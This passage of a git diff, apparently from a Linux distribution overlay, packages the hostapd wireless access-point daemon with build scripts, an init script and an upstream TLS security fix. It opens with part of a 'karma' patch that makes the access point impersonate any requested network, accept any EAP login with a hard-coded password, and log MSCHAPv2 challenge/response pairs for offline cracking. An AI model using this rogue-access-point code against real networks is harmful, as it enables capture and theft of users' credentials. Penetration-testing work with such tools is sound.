++                //      sta->ssid_probe = &elems.ssid;
++  }
+ 	if (!ssid) {
+ 		if (!(mgmt->da[0] & 0x01)) {
+ 			char ssid_txt[33];
+diff -urN hostapd-1.0.orig//src/ap/hostapd.c hostapd-1.0/src/ap/hostapd.c
+--- hostapd-1.0.orig//src/ap/hostapd.c	2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/ap/hostapd.c	2012-07-17 18:36:53.323958995 +0800
+@@ -12,6 +12,8 @@
+  * See README and COPYING for more details.
+  */
+ 
++#include "karma/karma.h"
++
+ #include "utils/includes.h"
+ 
+ #include "utils/common.h"
+diff -urN hostapd-1.0.orig//src/ap/ieee802_11.c hostapd-1.0/src/ap/ieee802_11.c
+--- hostapd-1.0.orig//src/ap/ieee802_11.c	2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/ap/ieee802_11.c	2012-07-17 18:36:53.324958995 +0800
+@@ -12,6 +12,8 @@
+  * See README and COPYING for more details.
+  */
+ 
++#include "karma/karma.h"
++
+ #include "utils/includes.h"
+ 
+ #ifndef CONFIG_NATIVE_WINDOWS
+@@ -520,8 +522,9 @@
+ 	if (ssid_ie == NULL)
+ 		return WLAN_STATUS_UNSPECIFIED_FAILURE;
+ 
+-	if (ssid_ie_len != hapd->conf->ssid.ssid_len ||
+-	    os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0) {
++    /* Karma Promiscuous Beacon Response Hack - JoMo-Kun <jmk@foofus.net> */ 
++    if ((!karma_beacon_respond) && (ssid_ie_len != hapd->conf->ssid.ssid_len ||
++	    os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0)) {
+ 		char ssid_txt[33];
+ 		ieee802_11_print_ssid(ssid_txt, ssid_ie, ssid_ie_len);
+ 		hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211,
+diff -urN hostapd-1.0.orig//src/eap_server/eap_server.c hostapd-1.0/src/eap_server/eap_server.c
+--- hostapd-1.0.orig//src/eap_server/eap_server.c	2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/eap_server/eap_server.c	2012-07-17 18:36:53.325959001 +0800
+@@ -18,6 +18,11 @@
+  * backend_auth configuration variable to TRUE.
+  */
+ 
++#define _GNU_SOURCE
++#include <stdio.h> 
++
++#include "karma/karma.h"
++
+ #include "includes.h"
+ 
+ #include "common.h"
+@@ -99,24 +104,51 @@
+ int eap_user_get(struct eap_sm *sm, const u8 *identity, size_t identity_len,
+ 		 int phase2)
+ {
+-	struct eap_user *user;
++  struct eap_user *user;
++  char *username = NULL;
++  char *message = NULL;
++	
++  eap_user_free(sm->user);
++	sm->user = NULL;
+ 
+-	if (sm == NULL || sm->eapol_cb == NULL ||
++  user = os_zalloc(sizeof(*user));
++  if (user == NULL)
++    return -1;
++
++  /* Karma Mode: Accept all requests, regardless of username - JoMo-Kun <jmk@foofus.net> */
++  if (karma_eap_auth)
++  {
++    user->methods[0].vendor = sm->respVendor;
++    user->password = os_zalloc(9);
++    strncpy((char *)user->password, "Cricket8", 8); /* Magic password allows successful authentication */
++    user->password_len = 8;
++
++    if (phase2)
++      user->methods[0].method = EAP_TYPE_MSCHAPV2;
++    else // TODO: what happens if we propose LEAP?
++      user->methods[0].method = EAP_TYPE_PEAP;
++
++    username = os_zalloc(sm->identity_len + 1);
++    strncpy(username, (char *)sm->identity, (size_t)sm->identity_len);
++ 
++    if (asprintf(&message, "Authentication Request - Username: %s Vendor: %d Method: %d", username, sm->respVendor, sm->respVendorMethod) < 0)
++      printf("Error allocating memory for request message.\n");
++
++    karma_logger(0, message);
++    free(message);
++  }
++  else
++  {
++	  if (sm == NULL || sm->eapol_cb == NULL ||
+ 	    sm->eapol_cb->get_eap_user == NULL)
+-		return -1;
++  		return -1;
+ 
+-	eap_user_free(sm->user);
+-	sm->user = NULL;
+-
+-	user = os_zalloc(sizeof(*user));
+-	if (user == NULL)
+-	    return -1;
+-
+-	if (sm->eapol_cb->get_eap_user(sm->eapol_ctx, identity,
+-				       identity_len, phase2, user) != 0) {
+-		eap_user_free(user);
+-		return -1;
+-	}
++	  if (sm->eapol_cb->get_eap_user(sm->eapol_ctx, identity,
++		  		       identity_len, phase2, user) != 0) {
++		  eap_user_free(user);
++		  return -1;
++  	}
++  }
+ 
+ 	sm->user = user;
+ 	sm->user_eap_method_index = 0;
+diff -urN hostapd-1.0.orig//src/eap_server/eap_server_mschapv2.c hostapd-1.0/src/eap_server/eap_server_mschapv2.c
+--- hostapd-1.0.orig//src/eap_server/eap_server_mschapv2.c	2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/eap_server/eap_server_mschapv2.c	2012-07-17 18:36:53.331959001 +0800
+@@ -12,6 +12,8 @@
+  * See README and COPYING for more details.
+  */
+ 
++#include "karma/karma.h"
++
+ #include "includes.h"
+ 
+ #include "common.h"
+@@ -290,13 +292,15 @@
+ 					  struct wpabuf *respData)
+ {
+ 	struct eap_mschapv2_hdr *resp;
+-	const u8 *pos, *end, *peer_challenge, *nt_response, *name;
++	const u8 *pos, *end, *auth_challenge, *peer_challenge, *nt_response, *name;
+ 	u8 flags;
+ 	size_t len, name_len, i;
+ 	u8 expected[24];
+ 	const u8 *username, *user;
+ 	size_t username_len, user_len;
+ 	int res;
++    char *auth_creds = NULL;
++    int auth_creds_len = 0;
+ 
+ 	pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, respData,
+ 			       &len);
+@@ -336,6 +340,38 @@
+ 	wpa_printf(MSG_MSGDUMP, "EAP-MSCHAPV2: Flags 0x%x", flags);
+ 	wpa_hexdump_ascii(MSG_MSGDUMP, "EAP-MSCHAPV2: Name", name, name_len);
+ 
++  /* Karma Mode: Log MSCHAPv2 exchange in John format - JoMo-Kun <jmk@foofus.net> */
++  /* user::domain (unused):authenticator challenge:mschapv2 response:peer challenge */
++  if (karma_eap_auth)
++  { 
++    auth_creds_len = sm->identity_len + 3 + 16*2 + 1 + 24*2 + 1 + 16*2;
++    auth_creds = os_malloc(auth_creds_len + 1);
++    memset(auth_creds, 0, auth_creds_len + 1);
++ 
++    strncpy(auth_creds, (char *)sm->identity, sm->identity_len); 
++    sprintf(auth_creds + sm->identity_len, ":::");
++
++    /* Authenticator Challenge */
++    auth_challenge = data->auth_challenge;
++    for (i=0; i<16; i++)
++      sprintf(auth_creds + sm->identity_len + 3 + 2*i, "%2.2X", 0xFF & (int)auth_challenge[i]); 
++  
++    sprintf(auth_creds + sm->identity_len + 3 + 16*2, ":");
++
++    /* MSCHAPv2 Response */
++    for (i=0; i<24; i++)
++      sprintf(auth_creds + sm->identity_len + 3 + 16*2 + 1 + 2*i, "%2.2X", 0xFF & (int)nt_response[i]); 
++
++    sprintf(auth_creds + sm->identity_len + 3 + 16*2 + 1 + 24*2, ":");
++  
++    /* Peer Challenge */ 
++    for (i=0; i<16; i++)
++      sprintf(auth_creds + sm->identity_len + 3 + 16*2 + 1 + 24*2 + 1 + 2*i, "%2.2X", 0xFF & (int)peer_challenge[i]); 
++ 
++    karma_logger(1, auth_creds);
++    free(auth_creds);
++  }
++
+ 	/* MSCHAPv2 does not include optional domain name in the
+ 	 * challenge-response calculation, so remove domain prefix
+ 	 * (if present). */
+diff -urN hostapd-1.0.orig//src/karma/karma.c hostapd-1.0/src/karma/karma.c
+--- hostapd-1.0.orig//src/karma/karma.c	1970-01-01 07:30:00.000000000 +0730
++++ hostapd-1.0/src/karma/karma.c	2012-07-17 18:36:53.332959000 +0800
+@@ -0,0 +1,43 @@
++#define _GNU_SOURCE
++#include <stdio.h>
++#include <time.h>
++
++#include "common.h"
++#include "includes.h"
++#include "trace.h"
++
++#include "karma/karma.h"
++
++/* Karma Mode: Log data related to MSCHAPv2 challenge/response authentication attempts */
++extern void karma_logger(int type, char *message)
++{
++    FILE *logfd;
++    time_t cur_time;
++    struct tm *tm_ptr;
++    char time_buf[256];
++    /* General: probe requests, username requests */
++    logfd = fopen("./hostapd-karma.txt", "a");
++    if (logfd == NULL) {
++        fprintf(stderr, "[karma] Failed to open log file: ./hostapd-karma.txt\n");
++        logfd = stderr;
++    }
++
++    time(&cur_time);
++    tm_ptr = localtime(&cur_time);
++    strftime(time_buf, 256, "%Y-%m-%d %H:%M:%S", tm_ptr);
++    fprintf(logfd, "%s:  %s\n", time_buf, message);
++    fprintf(stderr, "[karma] %s:  %s\n", time_buf, message);
++    fclose(logfd);
++
++    /* MSCHAPv2 Challenge/Response */
++    if (type == 1)
++    {
++        logfd = fopen("./hostapd-karma.lc", "a");
++        if (logfd == NULL) {
++            fprintf(stderr, "[karma] Failed to open log file: ./hostapd-karma.lc\n");
++            logfd = stderr;
++        }
++        fprintf(logfd, "%s\n", message);
++        fclose(logfd);
++    }
++}
+diff -urN hostapd-1.0.orig//src/karma/karma.h hostapd-1.0/src/karma/karma.h
+--- hostapd-1.0.orig//src/karma/karma.h	1970-01-01 07:30:00.000000000 +0730
++++ hostapd-1.0/src/karma/karma.h	2012-07-17 18:36:53.332959000 +0800
+@@ -0,0 +1,3 @@
++extern int karma_beacon_respond;
++extern int karma_eap_auth;                                                                                                                                                                                                       
++extern void karma_logger(int, char*);
+diff -urN hostapd-1.0.orig//src/utils/wpa_debug.c hostapd-1.0/src/utils/wpa_debug.c
+--- hostapd-1.0.orig//src/utils/wpa_debug.c	2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/utils/wpa_debug.c	2012-07-17 18:36:53.333959000 +0800
+@@ -22,6 +22,8 @@
+ static int wpa_debug_syslog = 0;
+ #endif /* CONFIG_DEBUG_SYSLOG */
+ 
++/* Karma Mode */                                                                                                                                                                                                                  
++#include "karma/karma.h"
+ 
+ int wpa_debug_level = MSG_INFO;
+ int wpa_debug_show_keys = 0;
diff --git a/net-wireless/hostapd/files/hostapd-1.0-libnl_path_fix.patch b/net-wireless/hostapd/files/hostapd-1.0-libnl_path_fix.patch
new file mode 100644
index 00000000..abf15a6e
--- /dev/null
+++ b/net-wireless/hostapd/files/hostapd-1.0-libnl_path_fix.patch
@@ -0,0 +1,24 @@
+diff -aurp a/src/drivers/drivers.mak b/src/drivers/drivers.mak
+--- a/src/drivers/drivers.mak	2012-10-03 19:42:16.387634128 +0000
++++ b/src/drivers/drivers.mak	2012-10-03 19:43:16.246693744 +0000
+@@ -48,7 +48,7 @@ NEED_RFKILL=y
+ ifdef CONFIG_LIBNL32
+   DRV_LIBS += -lnl-3
+   DRV_LIBS += -lnl-genl-3
+-  DRV_CFLAGS += -DCONFIG_LIBNL20
++  DRV_CFLAGS += -DCONFIG_LIBNL20 -I/usr/include/libnl3
+ else
+   ifdef CONFIG_LIBNL_TINY
+     DRV_LIBS += -lnl-tiny
+diff -aurp a/src/drivers/drivers.mk b/src/drivers/drivers.mk
+--- a/src/drivers/drivers.mk	2012-10-03 19:42:16.385634126 +0000
++++ b/src/drivers/drivers.mk	2012-10-03 19:43:23.333700780 +0000
+@@ -48,7 +48,7 @@ NEED_RFKILL=y
+ ifdef CONFIG_LIBNL32
+   DRV_LIBS += -lnl-3
+   DRV_LIBS += -lnl-genl-3
+-  DRV_CFLAGS += -DCONFIG_LIBNL20
++  DRV_CFLAGS += -DCONFIG_LIBNL20 -I/usr/include/libnl3
+ else
+   ifdef CONFIG_LIBNL_TINY
+     DRV_LIBS += -lnl-tiny
diff --git a/net-wireless/hostapd/files/hostapd-1.0-tls_length_fix.patch b/net-wireless/hostapd/files/hostapd-1.0-tls_length_fix.patch
new file mode 100644
index 00000000..bda92cf4
--- /dev/null
+++ b/net-wireless/hostapd/files/hostapd-1.0-tls_length_fix.patch
@@ -0,0 +1,48 @@
+From 586c446e0ff42ae00315b014924ec669023bd8de Mon Sep 17 00:00:00 2001
+From: Jouni Malinen <j@w1.fi>
+Date: Sun, 7 Oct 2012 20:06:29 +0300
+Subject: [PATCH] EAP-TLS server: Fix TLS Message Length validation
+
+EAP-TLS/PEAP/TTLS/FAST server implementation did not validate TLS
+Message Length value properly and could end up trying to store more
+information into the message buffer than the allocated size if the first
+fragment is longer than the indicated size. This could result in hostapd
+process terminating in wpabuf length validation. Fix this by rejecting
+messages that have invalid TLS Message Length value.
+
+This would affect cases that use the internal EAP authentication server
+in hostapd either directly with IEEE 802.1X or when using hostapd as a
+RADIUS authentication server and when receiving an incorrectly
+constructed EAP-TLS message. Cases where hostapd uses an external
+authentication are not affected.
+
+Thanks to Timo Warns for finding and reporting this issue.
+
+Signed-hostap: Jouni Malinen <j@w1.fi>
+intended-for: hostap-1
+---
+ src/eap_server/eap_server_tls_common.c |    8 ++++++++
+ 1 files changed, 8 insertions(+), 0 deletions(-)
+
+diff --git a/src/eap_server/eap_server_tls_common.c b/src/eap_server/eap_server_tls_common.c
+index 31be2ec..46f282b 100644
+--- a/src/eap_server/eap_server_tls_common.c
++++ b/src/eap_server/eap_server_tls_common.c
+@@ -228,6 +228,14 @@ static int eap_server_tls_process_fragment(struct eap_ssl_data *data,
+ 			return -1;
+ 		}
+ 
++		if (len > message_length) {
++			wpa_printf(MSG_INFO, "SSL: Too much data (%d bytes) in "
++				   "first fragment of frame (TLS Message "
++				   "Length %d bytes)",
++				   (int) len, (int) message_length);
++			return -1;
++		}
++
+ 		data->tls_in = wpabuf_alloc(message_length);
+ 		if (data->tls_in == NULL) {
+ 			wpa_printf(MSG_DEBUG, "SSL: No memory for message");
+-- 
+1.7.4-rc1
+
diff --git a/net-wireless/hostapd/files/hostapd-conf.d b/net-wireless/hostapd/files/hostapd-conf.d
new file mode 100644
index 00000000..7d05735e
--- /dev/null
+++ b/net-wireless/hostapd/files/hostapd-conf.d
@@ -0,0 +1,9 @@
+# Space separated List of interfaces which needs to be started before
+# hostapd
+INTERFACES="wlan0"
+
+# Space separated list of configuration files
+CONFIGS="/etc/hostapd/hostapd.conf"
+
+# Extra options to pass to hostapd, see hostapd(8)
+OPTIONS=""
diff --git a/net-wireless/hostapd/files/hostapd-init.d b/net-wireless/hostapd/files/hostapd-init.d
new file mode 100644
index 00000000..bc5b8d6a
--- /dev/null
+++ b/net-wireless/hostapd/files/hostapd-init.d
@@ -0,0 +1,50 @@
+#!/sbin/runscript
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/hostapd/files/hostapd-init.d,v 1.3 2011/09/25 14:03:46 gurligebis Exp $
+
+extra_started_commands="reload"
+
+depend() {
+	local myneeds=
+	for iface in ${INTERFACES}; do
+		myneeds="${myneeds} net.${iface}"
+	done
+
+	[ -n "${myneeds}" ] && need ${myneeds}
+	use logger
+}
+
+checkconfig() {
+	local file
+
+	for file in ${CONFIGS}; do
+		if [ ! -r "${file}" ]; then
+			eerror "hostapd configuration file (${CONFIG}) not found"
+			return 1
+		fi
+	done
+}
+
+start() {
+	checkconfig || return 1
+
+	ebegin "Starting ${SVCNAME}"
+	start-stop-daemon --start --exec /usr/sbin/hostapd \
+		-- -B ${OPTIONS} ${CONFIGS}
+	eend $?
+}
+
+stop() {
+	ebegin "Stopping ${SVCNAME}"
+	start-stop-daemon --stop --exec /usr/sbin/hostapd
+	eend $?
+}
+
+reload() {
+	checkconfig || return 1
+
+	ebegin "Reloading ${SVCNAME} configuration"
+	kill -HUP $(pidof /usr/sbin/hostapd) > /dev/null 2>&1
+	eend $?
+}
diff --git a/net-wireless/hostapd/hostapd-1.0-r4.ebuild b/net-wireless/hostapd/hostapd-1.0-r4.ebuild
new file mode 100644
index 00000000..343129db
--- /dev/null
+++ b/net-wireless/hostapd/hostapd-1.0-r4.ebuild
@@ -0,0 +1,207 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/hostapd/hostapd-1.0-r4.ebuild,v 1.4 2012/10/12 00:52:20 blueness Exp $
+
+EAPI="4"
+
+inherit toolchain-funcs eutils
+
+DESCRIPTION="IEEE 802.11 wireless LAN Host AP daemon"
+HOMEPAGE="http://hostap.epitest.fi"
+SRC_URI="http://hostap.epitest.fi/releases/${P}.tar.gz"
+
+LICENSE="|| ( GPL-2 BSD )"
+SLOT="0"
+KEYWORDS="amd64 ~mips ppc x86"
+IUSE="cui debug ipv6 +karma logwatch madwifi +ssl +wps +crda"
+
+DEPEND="ssl? ( dev-libs/openssl )
+	kernel_linux? (
+		dev-libs/libnl:3
+		crda? ( net-wireless/crda )
+	)
+	madwifi? ( ||
+		( >net-wireless/madwifi-ng-tools-0.9.3
+		net-wireless/madwifi-old ) )"
+RDEPEND="${DEPEND}"
+
+S="${S}/${PN}"
+
+src_prepare() {
+	cd ..
+	epatch "${FILESDIR}/${P}-libnl_path_fix.patch"
+	epatch "${FILESDIR}/${P}-tls_length_fix.patch"
+	use karma && epatch "${FILESDIR}/${P}-karma.patch"
+	use cui && epatch "${FILESDIR}/cui-20120417.patch"
+
+	sed -i -e "s:/etc/hostapd:/etc/hostapd/hostapd:g" \
+		"${S}/hostapd.conf" || die
+}
+
+src_configure() {
+	local CONFIG="${S}/.config"
+
+	# toolchain setup
+	echo "CC = $(tc-getCC)" > ${CONFIG}
+
+	# EAP authentication methods
+	echo "CONFIG_EAP=y" >> ${CONFIG}
+	echo "CONFIG_EAP_MD5=y" >> ${CONFIG}
+
+	if use ssl; then
+		# SSL authentication methods
+		echo "CONFIG_EAP_TLS=y" >> ${CONFIG}
+		echo "CONFIG_EAP_TTLS=y" >> ${CONFIG}
+		echo "CONFIG_EAP_MSCHAPV2=y" >> ${CONFIG}
+		echo "CONFIG_EAP_PEAP=y" >> ${CONFIG}
+	fi
+
+	if use wps; then
+		# Enable Wi-Fi Protected Setup
+		echo "CONFIG_WPS=y" >> ${CONFIG}
+		echo "CONFIG_WPS2=y" >> ${CONFIG}
+		echo "CONFIG_WPS_UPNP=y" >> ${CONFIG}
+		einfo "Enabling Wi-Fi Protected Setup support"
+	fi
+
+	echo "CONFIG_EAP_GTC=y" >> ${CONFIG}
+	echo "CONFIG_EAP_SIM=y" >> ${CONFIG}
+	echo "CONFIG_EAP_AKA=y" >> ${CONFIG}
+	echo "CONFIG_EAP_PAX=y" >> ${CONFIG}
+	echo "CONFIG_EAP_PSK=y" >> ${CONFIG}
+	echo "CONFIG_EAP_SAKE=y" >> ${CONFIG}
+	echo "CONFIG_EAP_GPSK=y" >> ${CONFIG}
+	echo "CONFIG_EAP_GPSK_SHA256=y" >> ${CONFIG}
+
+	einfo "Enabling drivers: "
+
+	# drivers
+	echo "CONFIG_DRIVER_HOSTAP=y" >> ${CONFIG}
+	einfo "  HostAP driver enabled"
+	echo "CONFIG_DRIVER_WIRED=y" >> ${CONFIG}
+	einfo "  Wired driver enabled"
+	echo "CONFIG_DRIVER_PRISM54=y" >> ${CONFIG}
+	einfo "  Prism54 driver enabled"
+	echo "CONFIG_DRIVER_NONE=y" >> ${CONFIG}
+	einfo "  None driver enabled"
+
+	if use madwifi; then
+		# Add include path for madwifi-driver headers
+		einfo "  Madwifi driver enabled"
+		echo "CFLAGS += -I/usr/include/madwifi" >> ${CONFIG}
+		echo "CONFIG_DRIVER_MADWIFI=y" >> ${CONFIG}
+	else
+		einfo "  Madwifi driver disabled"
+	fi
+
+	einfo "  nl80211 driver enabled"
+	echo "CONFIG_DRIVER_NL80211=y" >> ${CONFIG}
+	echo "CFLAGS += -I/usr/include/netlink" >> ${CONFIG}
+	echo "LIBS += -L/usr/lib" >> ${CONFIG}
+
+	# misc
+	echo "CONFIG_PKCS12=y" >> ${CONFIG}
+	echo "CONFIG_RADIUS_SERVER=y" >> ${CONFIG}
+	echo "CONFIG_IAPP=y" >> ${CONFIG}
+	echo "CONFIG_IEEE80211R=y" >> ${CONFIG}
+	echo "CONFIG_IEEE80211W=y" >> ${CONFIG}
+	echo "CONFIG_IEEE80211N=y" >> ${CONFIG}
+	echo "CONFIG_PEERKEY=y" >> ${CONFIG}
+	echo "CONFIG_RSN_PREAUTH=y" >> ${CONFIG}
+	echo "CONFIG_INTERWORKING=y" >> ${CONFIG}
+
+	if use ipv6; then
+		# IPv6 support
+		echo "CONFIG_IPV6=y" >> ${CONFIG}
+	fi
+
+	if ! use debug; then
+		echo "CONFIG_NO_STDOUT_DEBUG=y" >> ${CONFIG}
+	fi
+
+	# If we are using libnl 2.0 and above, enable support for it
+	# Removed for now, since the 3.2 version is broken, and we don't
+	# support it.
+	if has_version ">=dev-libs/libnl-3.2"; then
+		echo "CONFIG_LIBNL32=y" >> .config
+	fi
+
+	# TODO: Add support for BSD drivers
+
+	default_src_configure
+}
+
+src_compile() {
+	emake V=1
+
+	if use ssl; then
+		emake V=1 nt_password_hash
+		emake V=1 hlr_auc_gw
+	fi
+}
+
+src_install() {
+	insinto /etc/${PN}
+	doins ${PN}.{conf,accept,deny,eap_user,radius_clients,sim_db,wpa_psk}
+
+	fperms -R 600 /etc/${PN}
+
+	dosbin ${PN}
+	dobin ${PN}_cli
+
+	use ssl && dobin nt_password_hash hlr_auc_gw
+
+	newinitd "${FILESDIR}"/${PN}-init.d ${PN}
+	newconfd "${FILESDIR}"/${PN}-conf.d ${PN}
+
+	doman ${PN}{.8,_cli.1}
+
+	dodoc ChangeLog README
+	use wps && dodoc README-WPS
+
+	docinto examples
+	dodoc wired.conf
+
+	if use logwatch; then
+		insinto /etc/log.d/conf/services/
+		doins logwatch/${PN}.conf
+
+		exeinto /etc/log.d/scripts/services/
+		doexe logwatch/${PN}
+	fi
+}
+
+pkg_postinst() {
+	einfo
+	einfo "In order to use ${PN} you need to set up your wireless card"
+	einfo "for master mode in /etc/conf.d/net and then start"
+	einfo "/etc/init.d/${PN}."
+	einfo
+	einfo "Example configuration:"
+	einfo
+	einfo "config_wlan0=( \"192.168.1.1/24\" )"
+	einfo "channel_wlan0=\"6\""
+	einfo "essid_wlan0=\"test\""
+	einfo "mode_wlan0=\"master\""
+	einfo
+	if use madwifi; then
+		einfo "This package compiles against the headers installed by"
+		einfo "madwifi-old, madwifi-ng or madwifi-ng-tools."
+		einfo "You should remerge ${PN} after upgrading these packages."
+		einfo
+		einfo "Since you are using the madwifi-ng driver, you should disable or"
+		einfo "comment out wme_enabled from ${PN}.conf, since it will"
+		einfo "cause problems otherwise (see bug #260377"
+	fi
+	#if [ -e "${KV_DIR}"/net/mac80211 ]; then
+	#	einfo "This package now compiles against the headers installed by"
+	#	einfo "the kernel source for the mac80211 driver. You should "
+	#	einfo "re-emerge ${PN} after upgrading your kernel source."
+	#fi
+
+	if use wps; then
+		einfo "You have enabled Wi-Fi Protected Setup support, please"
+		einfo "read the README-WPS file in /usr/share/doc/${P}"
+		einfo "for info on how to use WPS"
+	fi
+}
diff --git a/net-wireless/hostapd/hostapd-1.0-r5.ebuild b/net-wireless/hostapd/hostapd-1.0-r5.ebuild
new file mode 100644
index 00000000..1747ddc9
--- /dev/null
+++ b/net-wireless/hostapd/hostapd-1.0-r5.ebuild
@@ -0,0 +1,207 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/hostapd/hostapd-1.0-r4.ebuild,v 1.4 2012/10/12 00:52:20 blueness Exp $
+
+EAPI="4"
+
+inherit toolchain-funcs eutils
+
+DESCRIPTION="IEEE 802.11 wireless LAN Host AP daemon"
+HOMEPAGE="http://hostap.epitest.fi"
+SRC_URI="http://hostap.epitest.fi/releases/${P}.tar.gz"
+
+LICENSE="|| ( GPL-2 BSD )"
+SLOT="0"
+KEYWORDS="amd64 ~mips ppc x86"
+IUSE="cui debug ipv6 +karma logwatch madwifi +ssl +wps +crda"
+
+DEPEND="ssl? ( dev-libs/openssl )
+	kernel_linux? (
+		dev-libs/libnl:3
+		crda? ( net-wireless/crda )
+	)
+	madwifi? ( ||
+		( >net-wireless/madwifi-ng-tools-0.9.3
+		net-wireless/madwifi-old ) )"
+RDEPEND="${DEPEND}"
+
+S="${S}/${PN}"
+
+src_prepare() {
+	cd ..
+	epatch "${FILESDIR}/${P}-libnl_path_fix.patch"
+	epatch "${FILESDIR}/${P}-tls_length_fix.patch"
+	use karma && epatch "${FILESDIR}/${P}-karma-0.2.patch"
+	use cui && epatch "${FILESDIR}/cui-20120417.patch"
+
+	sed -i -e "s:/etc/hostapd:/etc/hostapd/hostapd:g" \
+		"${S}/hostapd.conf" || die
+}
+
+src_configure() {
+	local CONFIG="${S}/.config"
+
+	# toolchain setup
+	echo "CC = $(tc-getCC)" > ${CONFIG}
+
+	# EAP authentication methods
+	echo "CONFIG_EAP=y" >> ${CONFIG}
+	echo "CONFIG_EAP_MD5=y" >> ${CONFIG}
+
+	if use ssl; then
+		# SSL authentication methods
+		echo "CONFIG_EAP_TLS=y" >> ${CONFIG}
+		echo "CONFIG_EAP_TTLS=y" >> ${CONFIG}
+		echo "CONFIG_EAP_MSCHAPV2=y" >> ${CONFIG}
+		echo "CONFIG_EAP_PEAP=y" >> ${CONFIG}
+	fi
+
+	if use wps; then
+		# Enable Wi-Fi Protected Setup
+		echo "CONFIG_WPS=y" >> ${CONFIG}
+		echo "CONFIG_WPS2=y" >> ${CONFIG}
+		echo "CONFIG_WPS_UPNP=y" >> ${CONFIG}
+		einfo "Enabling Wi-Fi Protected Setup support"
+	fi
+
+	echo "CONFIG_EAP_GTC=y" >> ${CONFIG}
+	echo "CONFIG_EAP_SIM=y" >> ${CONFIG}
+	echo "CONFIG_EAP_AKA=y" >> ${CONFIG}
+	echo "CONFIG_EAP_PAX=y" >> ${CONFIG}
+	echo "CONFIG_EAP_PSK=y" >> ${CONFIG}
+	echo "CONFIG_EAP_SAKE=y" >> ${CONFIG}
+	echo "CONFIG_EAP_GPSK=y" >> ${CONFIG}
+	echo "CONFIG_EAP_GPSK_SHA256=y" >> ${CONFIG}
+
+	einfo "Enabling drivers: "
+
+	# drivers
+	echo "CONFIG_DRIVER_HOSTAP=y" >> ${CONFIG}
+	einfo "  HostAP driver enabled"
+	echo "CONFIG_DRIVER_WIRED=y" >> ${CONFIG}
+	einfo "  Wired driver enabled"
+	echo "CONFIG_DRIVER_PRISM54=y" >> ${CONFIG}
+	einfo "  Prism54 driver enabled"
+	echo "CONFIG_DRIVER_NONE=y" >> ${CONFIG}
+	einfo "  None driver enabled"
+
+	if use madwifi; then
+		# Add include path for madwifi-driver headers
+		einfo "  Madwifi driver enabled"
+		echo "CFLAGS += -I/usr/include/madwifi" >> ${CONFIG}
+		echo "CONFIG_DRIVER_MADWIFI=y" >> ${CONFIG}
+	else
+		einfo "  Madwifi driver disabled"
+	fi
+
+	einfo "  nl80211 driver enabled"
+	echo "CONFIG_DRIVER_NL80211=y" >> ${CONFIG}
+	echo "CFLAGS += -I/usr/include/netlink" >> ${CONFIG}
+	echo "LIBS += -L/usr/lib" >> ${CONFIG}
+
+	# misc
+	echo "CONFIG_PKCS12=y" >> ${CONFIG}
+	echo "CONFIG_RADIUS_SERVER=y" >> ${CONFIG}
+	echo "CONFIG_IAPP=y" >> ${CONFIG}
+	echo "CONFIG_IEEE80211R=y" >> ${CONFIG}
+	echo "CONFIG_IEEE80211W=y" >> ${CONFIG}
+	echo "CONFIG_IEEE80211N=y" >> ${CONFIG}
+	echo "CONFIG_PEERKEY=y" >> ${CONFIG}
+	echo "CONFIG_RSN_PREAUTH=y" >> ${CONFIG}
+	echo "CONFIG_INTERWORKING=y" >> ${CONFIG}
+
+	if use ipv6; then
+		# IPv6 support
+		echo "CONFIG_IPV6=y" >> ${CONFIG}
+	fi
+
+	if ! use debug; then
+		echo "CONFIG_NO_STDOUT_DEBUG=y" >> ${CONFIG}
+	fi
+
+	# If we are using libnl 2.0 and above, enable support for it
+	# Removed for now, since the 3.2 version is broken, and we don't
+	# support it.
+	if has_version ">=dev-libs/libnl-3.2"; then
+		echo "CONFIG_LIBNL32=y" >> .config
+	fi
+
+	# TODO: Add support for BSD drivers
+
+	default_src_configure
+}
+
+src_compile() {
+	emake V=1
+
+	if use ssl; then
+		emake V=1 nt_password_hash
+		emake V=1 hlr_auc_gw
+	fi
+}
+
+src_install() {
+	insinto /etc/${PN}
+	doins ${PN}.{conf,accept,deny,eap_user,radius_clients,sim_db,wpa_psk}
+
+	fperms -R 600 /etc/${PN}
+
+	dosbin ${PN}
+	dobin ${PN}_cli
+
+	use ssl && dobin nt_password_hash hlr_auc_gw
+
+	newinitd "${FILESDIR}"/${PN}-init.d ${PN}
+	newconfd "${FILESDIR}"/${PN}-conf.d ${PN}
+
+	doman ${PN}{.8,_cli.1}
+
+	dodoc ChangeLog README
+	use wps && dodoc README-WPS
+
+	docinto examples
+	dodoc wired.conf
+
+	if use logwatch; then
+		insinto /etc/log.d/conf/services/
+		doins logwatch/${PN}.conf
+
+		exeinto /etc/log.d/scripts/services/
+		doexe logwatch/${PN}
+	fi
+}
+
+pkg_postinst() {
+	einfo
+	einfo "In order to use ${PN} you need to set up your wireless card"
+	einfo "for master mode in /etc/conf.d/net and then start"
+	einfo "/etc/init.d/${PN}."
+	einfo
+	einfo "Example configuration:"
+	einfo
+	einfo "config_wlan0=( \"192.168.1.1/24\" )"
+	einfo "channel_wlan0=\"6\""
+	einfo "essid_wlan0=\"test\""
+	einfo "mode_wlan0=\"master\""
+	einfo
+	if use madwifi; then
+		einfo "This package compiles against the headers installed by"
+		einfo "madwifi-old, madwifi-ng or madwifi-ng-tools."
+		einfo "You should remerge ${PN} after upgrading these packages."
+		einfo
+		einfo "Since you are using the madwifi-ng driver, you should disable or"
+		einfo "comment out wme_enabled from ${PN}.conf, since it will"
+		einfo "cause problems otherwise (see bug #260377"
+	fi
+	#if [ -e "${KV_DIR}"/net/mac80211 ]; then
